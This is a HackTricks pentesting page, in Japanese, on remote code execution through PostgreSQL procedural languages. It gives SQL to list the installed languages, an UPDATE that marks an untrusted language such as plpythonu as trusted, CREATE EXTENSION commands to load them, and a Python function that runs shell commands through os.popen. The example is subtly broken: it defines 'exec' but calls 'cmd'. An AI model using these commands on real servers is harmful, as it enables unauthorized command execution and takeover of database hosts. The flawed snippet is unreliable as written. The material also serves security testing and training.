RCE with PostgreSQL Languages

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

PostgreSQL Languages

アクセスしたPostgreSQLデータベースには、任意のコードを実行するために悪用できる異なるスクリプト言語がインストールされている可能性があります。

それらを実行することができます:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

PostgreSQLにインストールできるスクリプト言語のほとんどは、2つの種類があります:trusteduntrusteduntrustedは**"u"で終わる名前**を持ち、コードを実行したり、他の興味深い機能を使用することを許可するバージョンです。インストールされていると興味深い言語は以下の通りです:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ...(不安全なバージョンを使用している他のプログラミング言語)

warning

興味深い言語がインストールされているが、PostgreSQLによってuntrustedとされている場合(lanpltrustedfalse)、以下の行を使って信頼させることができ、PostgreSQLによる制限が適用されなくなります:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# pg_languageテーブルに対する権限を確認するため
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

言語が見当たらない場合は、(スーパ管理者である必要があります)以下のコマンドでロードを試みることができます:

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

安全なバージョンを「不安全」としてコンパイルすることも可能です。例えば、これを確認してください。したがって、trustedのものしかインストールされていなくても、コードを実行できるかどうか試してみる価値があります。

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

次のページを確認してください:

PL/pgSQL Password Bruteforce

C

次のページを確認してください:

RCE with PostgreSQL Extensions

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする